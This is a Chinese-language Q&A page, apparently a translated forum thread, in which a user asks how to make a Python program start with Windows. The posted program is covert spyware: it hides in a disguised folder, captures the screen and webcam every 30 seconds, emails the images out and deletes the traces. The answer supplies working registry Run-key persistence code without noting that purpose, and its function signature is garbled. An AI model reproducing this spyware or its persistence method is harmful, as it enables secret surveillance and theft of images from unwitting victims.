Question

我编写了以下程序。我进行了设置。安装成功。现在，我希望程序在启动时启动，而无需手动将其快捷方式复制到启动文件夹，即 C：\ Users \ User \ AppData \ Roaming \ Microsoft \ Windows \ Start Menu \ Programs \ Startup 。

我希望我的程序像许多商业程序（如utorrent，Internet Downloader Manager等）一样在启动时自动运行。我该怎么办？

Python代码：

import os
import time
import string
import random
import shutil
import smtplib
import pyautogui 
from SimpleCV import Image, Camera
from email.mime.text import MIMEText
from email.mime.image import MIMEImage
from email.mime.multipart import MIMEMultipart

def make_folder():   #Checking if $y$temF0lder exists in C drive
    if os.path.exists('C:\\$y$temF0lder'):
        pass
    else:
        os.mkdir('C:\\$y$temF0lder')
    os.chdir('C:\\$y$temF0lder')

cam = Camera()

def send_mail():  #Sending captured picture in my email
    msg = MIMEMultipart()
    fromadd = 'fromadd@gmail.com'
    toadd = 'toadd@gmail.com'
    msg['From'] = fromadd
    msg['To'] = toadd
    msg['Subject'] = 'Photos'
    text = MIMEText('Pic')
    msg.attach(text)
    screenshot_data = open(screenshot_name, 'rb').read()
    webcam_data = open(webcam_name, 'rb').read()
    send_image = MIMEImage(screenshot_data,
    name=os.path.basename(screenshot_name))
    send_images = MIMEImage(webcam_data, name=os.path.basename(webcam_name))
    msg.attach(send_image)
    msg.attach(send_images)
    sessions = smtplib.SMTP('smtp.gmail.com', '587')
    sessions.ehlo()
    sessions.starttls()
    sessions.ehlo()
    sessions.login(fromadd, 'P@ssword')
    sessions.sendmail(fromadd, toadd, msg.as_string())
    sessions.quit()

def main():
    global screenshot_name
    global webcam_name

    while True:
        make_folder()
        name = ''
        for i in range(10):  #Generating random name of 10 character long
            x = random.randint(0,62)
            name += string.printable[x]

        screenshot_name = 'Screenshot ' + name + '.png'
        webcam_name = 'Webcam ' + name + '.jpg'

        screenshot = pyautogui.screenshot()
        screenshot.save(screenshot_name)  

        web_pic = cam.getImage()
        web_pic.save(webcam_name)

        send_mail()

        for file in os.listdir('C:\\$y$temF0lder'):
            os.remove(file)

        time.sleep(30)
        shutil.rmtree('C:\\$y$temF0lder')

if __name__ == '__main__':
    main()

Answer 1

为避免将其添加到启动文件夹中，可以将文件放置在其他位置，并在当前用户的启动注册表文件夹中创建注册表项。为此，请利用winreg模块。有据可查，使用起来很有趣！

winreg.CreateKeyEx(key, sub_key, reserved=0, access=KEY_WRITE)
  winreg.SetValueEx(key, value_name, reserved, type, value)
  winreg.Close()

基本用法

import winreg

def create_key(name: str="default", path: ""=str)->bool:
    # initialize key (create) or open
    reg_key = winreg.CreateKeyEx(winreg.HKEY_CURRENT_USER, # path current user
                                 r'Software\Microsoft\Windows\CurrentVersion\Run', # sub path startup
                                 0, # reserved (must be zero, default is 0)
                                 winreg.KEY_WRITE) # set permission to write

    # CreateKey returns a handle
    # if null it failed
    if not reg_key:
        return False

    # set the value of created key
    winreg.SetValueEx(reg_key, # key
        name,                  # value name
        0,                     # reserved (must be zero, default is 0)
        winreg.REG_SZ,     # REG_SZ - null-terminated string (for file path)
        path) # set file path

    # close key (think of it as opening a file)
    reg_key.Close()
    return True

if create_key("startup_batch", r"C:\Users\admin\Desktop\test.bat"):
    print("Added startup key.")
else:
    print("Failed to add startup key.")

编码为3.6.4版。

使python脚本在启动时自行启动

1 个答案:

基本用法